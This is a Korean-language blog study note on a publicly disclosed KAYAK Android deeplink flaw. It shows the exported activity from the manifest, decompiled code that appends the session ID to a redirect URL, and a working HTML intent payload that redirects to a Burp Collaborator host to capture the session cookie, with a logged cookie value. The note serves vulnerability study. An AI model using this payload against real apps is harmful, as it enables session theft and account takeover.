Wargame/android
안드로이드 CVE 스터디-improper Access Control
EYEN
2024. 5. 18. 04:36
#1 대상 CVE
https://hackerone.com/reports/1667998
KAYAK disclosed on HackerOne: 1 click Account takeover via deeplink...
hackerone.com
#2 CVE 개요
1. 발생 환경
app name: KAYAK
version: 161.1
2. 취약점 개념 설명
딥링크!
유저의 쿠키 탈취 가능
#3 POC 절차
1. AndroidManifest.xml-exported True.
<activity
android:name="com.kayak.android.web.ExternalAuthLoginActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<data android:scheme="kayak"/>
<data android:host="externalAuthentication"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>
2. ExternalAuthLoginActivity
이거 쓴 사람은 exported true인거 알자마자 해당 액티비티가 뭐하는 앤지 봤다고 함. 난독화를 푼..코드인 것 같음
private final String getRedirectUrl() {
String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
return stringExtra == null ? "" : stringExtra;
}
private final void launchCustomTabs() {
m.d b10 = new d.a(this.helper.getSession()).g(true).b();
p.d(b10, "Builder(helper.session)\n…rue)\n .build()");
Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
i.openCustomTab(this, b10, buildUpon.build(), null);
}
딥링크를 통한 웹페이지 혹은 intent를 통한 모바일 앱은 GETRedirectURL함수를 이용해 임의의 redirectURL를 만들 수 있음
launchCustomTabs 메서드는 GET 파라미터를 URL로 concatenate함. 이 GET 파라미터는 모바일 앱 유저의 세션 쿠키
public static final String SESSION_COOKIE_NAME = "p1.med.sid";
웹 애플리케이션에 로그인하고 쿠키를 모두 삭제하고, 이렇게 요청을 적어서
GET /profile/dashboard HTTP/2
Host: www.kayak.com.co
Cookie: p1.med.sid=[Cookie Here];
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
공격 코드랑 서버에 보냄
<!DOCTYPE html>
<html>
<body>
<a id="exploit"
href="intent://externalAuthentication#Intent;
scheme=kayak;
package=com.kayak.android;
component=com.kayak.android.web.ExternalAuthLoginActivity;
action=android.intent.action.VIEW;
S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;
end">
Exploit</a>;
</body>
</html>
중간에 URL redirect해서 burpcollaborator.net 이라는 burpsuite로 보내버림
그리고 모바일앱에서 로그를 확인하니
GET /profile/dashboard HTTP/2
Host: www.kayak.com.co
Cookie: p1.med.sid=65-R-4rhBEjEeCTHTB5bkcdEoO-RUM4RJuW5YvCJ3nfrsvdH0UbkjGBywHzVgsV0u8_Ys-4ay0zqH2q0Jt8H8EXM2yN-QEmydDQIbJ1eAmYZzh6nablokLtpHYCBUNGs7aoae;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
와우... 쿠키가 나왔다.